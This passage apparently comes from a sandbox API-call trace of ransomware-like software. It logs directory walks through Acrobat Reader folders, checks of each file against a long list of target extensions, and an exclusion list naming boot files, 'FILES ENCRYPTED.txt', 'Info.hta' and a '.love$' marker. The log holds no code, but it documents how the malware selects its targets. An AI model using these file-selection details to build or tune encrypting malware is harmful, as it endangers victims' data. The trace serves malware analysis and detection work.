lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.271] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.271] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr") returned 106 [0266.271] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0266.271] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.272] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.272] lstrlenW (lpString="ui-strings.js") returned 13 [0266.272] lstrlenW (lpString=".1cd") returned 4 [0266.272] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.272] lstrlenW (lpString=".3ds") returned 4 [0266.272] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.272] lstrlenW (lpString=".3fr") returned 4 [0266.272] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.272] lstrlenW (lpString=".3g2") returned 4 [0266.272] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.272] lstrlenW (lpString=".3gp") returned 4 [0266.272] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.272] lstrlenW (lpString=".7z") returned 3 [0266.272] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.272] lstrlenW (lpString=".accda") returned 6 [0266.272] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.272] lstrlenW (lpString=".accdb") returned 6 [0266.272] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.272] lstrlenW (lpString=".accdc") returned 6 [0266.272] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.272] lstrlenW (lpString=".accde") returned 6 [0266.272] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.272] lstrlenW (lpString=".accdt") returned 6 [0266.273] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.273] lstrlenW (lpString=".accdw") returned 6 [0266.273] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.273] lstrlenW (lpString=".adb") returned 4 [0266.273] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".adp") returned 4 [0266.273] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai") returned 3 [0266.273] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.273] lstrlenW (lpString=".ai3") returned 4 [0266.273] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai4") returned 4 [0266.273] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai5") returned 4 [0266.273] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai6") returned 4 [0266.273] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai7") returned 4 [0266.273] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".ai8") returned 4 [0266.273] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".anim") returned 5 [0266.273] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.273] lstrlenW (lpString=".arw") returned 4 [0266.273] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.273] lstrlenW (lpString=".as") returned 3 [0266.273] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.274] lstrlenW (lpString=".asa") returned 4 [0266.274] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".asc") returned 4 [0266.274] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".ascx") returned 5 [0266.274] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.274] lstrlenW (lpString=".asm") returned 4 [0266.274] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".asmx") returned 5 [0266.274] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.274] lstrlenW (lpString=".asp") returned 4 [0266.274] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".aspx") returned 5 [0266.274] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.274] lstrlenW (lpString=".asr") returned 4 [0266.274] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".asx") returned 4 [0266.274] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".avi") returned 4 [0266.274] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".avs") returned 4 [0266.274] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".backup") returned 7 [0266.274] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.274] lstrlenW (lpString=".bak") returned 4 [0266.274] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.274] lstrlenW (lpString=".bay") returned 4 [0266.275] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".bd") returned 3 [0266.275] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.275] lstrlenW (lpString=".bin") returned 4 [0266.275] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".bmp") returned 4 [0266.275] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".bz2") returned 4 [0266.275] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".c") returned 2 [0266.275] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.275] lstrlenW (lpString=".cdr") returned 4 [0266.275] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".cer") returned 4 [0266.275] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".cf") returned 3 [0266.275] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.275] lstrlenW (lpString=".cfc") returned 4 [0266.275] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".cfm") returned 4 [0266.275] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".cfml") returned 5 [0266.275] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.275] lstrlenW (lpString=".cfu") returned 4 [0266.275] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".chm") returned 4 [0266.275] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.275] lstrlenW (lpString=".cin") returned 4 [0266.276] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".class") returned 6 [0266.276] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.276] lstrlenW (lpString=".clx") returned 4 [0266.276] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".config") returned 7 [0266.276] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.276] lstrlenW (lpString=".cpp") returned 4 [0266.276] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".cr2") returned 4 [0266.276] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".crt") returned 4 [0266.276] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".crw") returned 4 [0266.276] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".cs") returned 3 [0266.276] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.276] lstrlenW (lpString=".css") returned 4 [0266.276] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".csv") returned 4 [0266.276] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".cub") returned 4 [0266.276] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.276] lstrlenW (lpString=".dae") returned 4 [0266.276] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dat") returned 4 [0266.277] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".db") returned 3 [0266.277] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.277] lstrlenW (lpString=".dbf") returned 4 [0266.277] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dbx") returned 4 [0266.277] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dc3") returned 4 [0266.277] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dcm") returned 4 [0266.277] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dcr") returned 4 [0266.277] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".der") returned 4 [0266.277] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dib") returned 4 [0266.277] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.277] lstrlenW (lpString=".dic") returned 4 [0266.277] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".dif") returned 4 [0266.278] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".divx") returned 5 [0266.278] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".djvu") returned 5 [0266.278] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".dng") returned 4 [0266.278] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".doc") returned 4 [0266.278] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".docm") returned 5 [0266.278] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".docx") returned 5 [0266.278] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".dot") returned 4 [0266.278] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".dotm") returned 5 [0266.278] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".dotx") returned 5 [0266.278] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.278] lstrlenW (lpString=".dpx") returned 4 [0266.278] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".dqy") returned 4 [0266.278] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.278] lstrlenW (lpString=".dsn") returned 4 [0266.279] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".dt") returned 3 [0266.279] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.279] lstrlenW (lpString=".dtd") returned 4 [0266.279] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".dwg") returned 4 [0266.279] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".dwt") returned 4 [0266.279] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".dx") returned 3 [0266.279] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.279] lstrlenW (lpString=".dxf") returned 4 [0266.279] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".edml") returned 5 [0266.279] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.279] lstrlenW (lpString=".efd") returned 4 [0266.279] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".elf") returned 4 [0266.279] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.279] lstrlenW (lpString=".emf") returned 4 [0266.279] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".emz") returned 4 [0266.280] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".epf") returned 4 [0266.280] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".eps") returned 4 [0266.280] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".epsf") returned 5 [0266.280] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.280] lstrlenW (lpString=".epsp") returned 5 [0266.280] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.280] lstrlenW (lpString=".erf") returned 4 [0266.280] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".exr") returned 4 [0266.280] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".f4v") returned 4 [0266.280] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".fido") returned 5 [0266.280] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.280] lstrlenW (lpString=".flm") returned 4 [0266.280] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".flv") returned 4 [0266.280] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".frm") returned 4 [0266.280] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.280] lstrlenW (lpString=".fxg") returned 4 [0266.280] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".geo") returned 4 [0266.281] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".gif") returned 4 [0266.281] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".grs") returned 4 [0266.281] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".gz") returned 3 [0266.281] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.281] lstrlenW (lpString=".h") returned 2 [0266.281] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.281] lstrlenW (lpString=".hdr") returned 4 [0266.281] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".hpp") returned 4 [0266.281] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".hta") returned 4 [0266.281] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".htc") returned 4 [0266.281] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".htm") returned 4 [0266.281] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".html") returned 5 [0266.281] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.281] lstrlenW (lpString=".icb") returned 4 [0266.281] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.281] lstrlenW (lpString=".ics") returned 4 [0266.281] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".iff") returned 4 [0266.282] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".inc") returned 4 [0266.282] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".indd") returned 5 [0266.282] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.282] lstrlenW (lpString=".ini") returned 4 [0266.282] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".iqy") returned 4 [0266.282] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".j2c") returned 4 [0266.282] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".j2k") returned 4 [0266.282] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".java") returned 5 [0266.282] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.282] lstrlenW (lpString=".jp2") returned 4 [0266.282] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.282] lstrlenW (lpString=".jpc") returned 4 [0266.282] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.433] lstrlenW (lpString=".jpe") returned 4 [0266.433] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.433] lstrlenW (lpString=".jpeg") returned 5 [0266.433] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.433] lstrlenW (lpString=".jpf") returned 4 [0266.433] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.433] lstrlenW (lpString=".jpg") returned 4 [0266.433] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.433] lstrlenW (lpString=".jpx") returned 4 [0266.433] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.433] lstrlenW (lpString=".js") returned 3 [0266.433] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.433] lstrlenW (lpString="ui-strings.js") returned 13 [0266.433] lstrlenW (lpString=".love$") returned 6 [0266.433] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.433] lstrlenW (lpString="ui-strings.js") returned 13 [0266.433] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.433] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.434] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.434] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js") returned 120 [0266.434] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.434] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0266.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.434] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0266.435] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 106 [0266.435] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 1 [0266.435] lstrlenW (lpString="fr-ma") returned 5 [0266.435] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-ma") returned -1 [0266.435] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.435] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 106 [0266.435] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0266.581] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.581] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.581] lstrlenW (lpString="ui-strings.js") returned 13 [0266.581] lstrlenW (lpString=".1cd") returned 4 [0266.581] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.581] lstrlenW (lpString=".3ds") returned 4 [0266.581] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.581] lstrlenW (lpString=".3fr") returned 4 [0266.581] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.582] lstrlenW (lpString=".3g2") returned 4 [0266.582] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.582] lstrlenW (lpString=".3gp") returned 4 [0266.582] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.582] lstrlenW (lpString=".7z") returned 3 [0266.582] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.582] lstrlenW (lpString=".accda") returned 6 [0266.582] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".accdb") returned 6 [0266.582] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".accdc") returned 6 [0266.582] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".accde") returned 6 [0266.582] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".accdt") returned 6 [0266.582] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".accdw") returned 6 [0266.582] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.582] lstrlenW (lpString=".adb") returned 4 [0266.582] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.582] lstrlenW (lpString=".adp") returned 4 [0266.582] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.582] lstrlenW (lpString=".ai") returned 3 [0266.583] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.583] lstrlenW (lpString=".ai3") returned 4 [0266.583] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ai4") returned 4 [0266.583] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ai5") returned 4 [0266.583] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ai6") returned 4 [0266.583] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ai7") returned 4 [0266.583] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ai8") returned 4 [0266.583] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".anim") returned 5 [0266.583] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.583] lstrlenW (lpString=".arw") returned 4 [0266.583] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".as") returned 3 [0266.583] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.583] lstrlenW (lpString=".asa") returned 4 [0266.583] lstrcmpiW 